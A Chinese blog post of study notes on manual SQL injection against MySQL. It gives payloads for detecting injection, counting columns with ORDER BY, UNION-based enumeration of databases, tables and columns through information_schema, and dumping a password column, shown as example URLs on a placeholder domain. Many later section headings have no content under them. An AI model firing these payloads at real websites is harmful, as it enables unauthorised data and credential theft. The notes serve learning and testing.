SQL手工注入笔记

前言

还债ing,之前一直觉得自己sql学的不好所以最近打算重新学习一遍

基于MySQL的SQL注入

判断是否有注入

?id=1 参数后加 " ' ")) ")) 单双引号,引号括号等判断页面内容是否会消失

or 1=1 页面正常 or 1=2 页面显示内容消失

or sleep(5) 检测时间注入

and (select 1 from(select sleep(5))) 如果当前数据表没有数据上面这种方法就无法检测,这个利用子查询结构还是可以检测

基本注入语句

获取数据库版本信息: select version() select @@version (有的sql注入语句会有版本限制)

获取当前用户 select user() 我这里当前用户为root root@localhost

判断数据表有几列: order by

使用用法: https://www.xxxx.com?id=8 order by 1 order by后添加数字来推算数据表的列数

order by 5 的时候页面正常 order by 6 的时候页面回显不正常便可推断数据表有5个列

通常如果数字超过了列数,报错如下

ERROR 1054 (42S22): Unknown column '6' in 'order clause'

获取回显点: select 1,2,3,4,5 (select 1,2,3,4,5 …. ,数据表列数,就拿上面那个例子来说 就是 select 1,2,3,4,5) 一般 id后面的参数都要改成负的例:?id=-1,为了不让正常页面显示 id=-1我们就看到回显点了,如图

为什么有的没有显示出来呢,因为sql语句总有一些数据他可以回显到我们的前端,有的则不会回显给前端

获取所有的数据库

select concat(schema_name) from information_schema.schemata;

concat() 可换成 group_concat()

例: web情况下: http://www.xxxx.com?id=1 union select 1,2,(select concat(schema_name) from information_schema.schemata),4,5

获取所有数据表

select concat(table_name) from information_schema.tables where table_schema=database();

这里database() 也可换成当前的数据库名

例: web情况下: http://www.xxxx.com?id=1 union select 1,2,(select concat(table_name) from information_schema.tables where table_schema=database()),4,5

获取数据表中的字段

假设获取test这个数据表中的字段

select concat(column_name) from information_schema.columns where table_name='test';

例: web情况下: http://www.xxxx.com?id=1 union select 1,2,(select concat(column_name) from information_schema.columns where table_name='test'),4,5

获取对应字段的数值

假设数据库名 security 数据表名 admin

假设字段名为passwd

select cocnat(passwd) from security.admin;

例: web情况下: http://www.xxxx.com?id=1 union select 1,2,(select cocnat(passwd) from security.admin;),4,5

报错注入

时间盲注

布尔盲注

基于DNS的注入

INSERT注入

UPDATE注入

报错注入

limit处注入

order by 处注入

SQL注入写shell 读文件

Oracle SQL注入

SQL Server 注入

题外话:phpmyadmin getshell

我来评几句
登录后评论

已发表评论数()

相关站点

+订阅
热门文章